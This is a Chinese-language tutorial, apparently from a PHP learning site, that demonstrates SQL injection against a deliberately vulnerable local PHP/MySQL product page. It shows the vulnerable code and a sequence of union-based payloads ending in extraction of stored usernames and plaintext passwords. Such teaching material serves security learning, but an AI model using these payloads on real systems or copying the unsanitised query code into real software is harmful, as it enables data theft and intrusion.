本篇文章介紹的內容是一個PHP的SQL注入完整過程,現在分享給大家,有需要的朋友可以參考一下
學了SQL注入的一些技能後,以下正對PHP MYSQL進行SQL注入的簡單實踐
首先觀察兩個MYSQL資料表
使用者記錄表:
REATE TABLE `php_user` ( `id` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default '', `password` varchar(20) NOT NULL default '', `userlevel` char(2) NOT NULL default '0', PRIMARY KEY (`id`) ) TYPE=MyISAM AUTO_INCREMENT=3 ; INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10'); INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');
產品記錄清單:
CREATE TABLE `php_product` ( `id` int(11) NOT NULL auto_increment, `name` varchar(100) NOT NULL default '', `price` float NOT NULL default '0', `img` varchar(200) NOT NULL default '', PRIMARY KEY (`id`) ) TYPE=MyISAM AUTO_INCREMENT=3 ; INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'images/name_1.jpg'); INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'images/name_2.jpg');
##以下檔案是show_product.php用來顯示產品清單。 SQL注入也是利用此檔案的SQL語句漏洞
<?php $conn = mysql_connect("localhost", "root", "root"); if(!$conn){ echo "数据库联接错误"; exit; } if (!mysql_select_db("phpsql")) { echo "选择数据库出错" . mysql_error(); exit; } $tempID=$_GET['id']; if($tempID<=0 || !isset($tempID)) $tempID=1; $sql = "SELECT * FROM php_product WHERE id =$tempID"; echo $sql.'<br>'; $result = mysql_query($sql); if (!$result) { echo "查询出错" . mysql_error(); exit; } if (mysql_num_rows($result) == 0) { echo "没有查询结果"; exit; } while ($row = mysql_fetch_assoc($result)) { echo 'ID:'.$row["id"].'<br>'; echo 'name:'.$row["name"].'<br>'; echo 'price:'.$row["price"].'<br>'; echo 'image:'.$row["img"].'<br>'; } ?>
#觀察此語句:$sql = "SELECT * FROM php_product WHERE id =$tempID";
$tempID是從$_GET得到。我們可以建構這個變數的值,以達到SQL注入的目的
分別建構以下連結:
##1、http://localhost/phpsql/index.php?id=1
得到以下輸出SELECT * FROM php_product WHERE id =1 //当前执行的SQL语句
# ID:1 name:name_1 price:12.2 image:images/name_1.jpg 2、 http://localhost/phpsql/index.php?id=1 or 1=1 得到输出 //一共两条产品资料列表 ID:1 name:name_1 price:12.2 image:images/name_1.jpg ID:2 name:name_2 price:35.25 image:images/name_2.jpg 1和2都得到资料列表输出,证明SQL语句执行成功 3、判断数据表字段数量 http://localhost/phpsql/index.php?id=1 union select 1,1,1,1 得到输出 //一共两条记录,注意第二条的记录为全1,这是union select联合查询的结果。 ID:1 name:name_1 price:12.2 image:images/name_1.jpg ID:1 name:1 price:1 image:1 4、判断数据表字段类型 http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65) 得到输出 ID:1 name:name_1 price:12.2 image:images/name_1.jpg ID:0 name:A price:0 image:A 注意第二条记录,如果后面的值等于A,说明这个字段与union查询后面构造的字段类型相符。此时union后面 为char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是字符串类型 5、大功告成,得到我们想要的东西: http://localhost/phpsql/index.php?id=10000 union select 1,username,1,password from php_user 得到输出: SELECT * FROM php_product WHERE id =10000 union select 1,username,1,password from php_user ///輸出了兩個使用者資料,為使用者名稱使用者名稱使用者名稱,image為使用者密碼。 ID:1 name:seven ##price:1 image:seven_pwd ID:1 name:swons price:1 image:swons_pwd #注意URL中的ID=10000是為了不得到產品資料,只得到後面union的查詢結果。更實際情況ID的值有所不同 union的username和password必須放在2和4的位置。這樣才能和前面的select語句匹配。這是union查詢 語句的特點 #備註: 相關推薦:
以上是一個PHP的SQL注入完整過程的詳細內容。更多資訊請關注PHP中文網其他相關文章!SELECT * FROM php_product WHERE id =1 or 1=1 //当前执行的SQL语句
SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //当前执行的SQL语句
SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)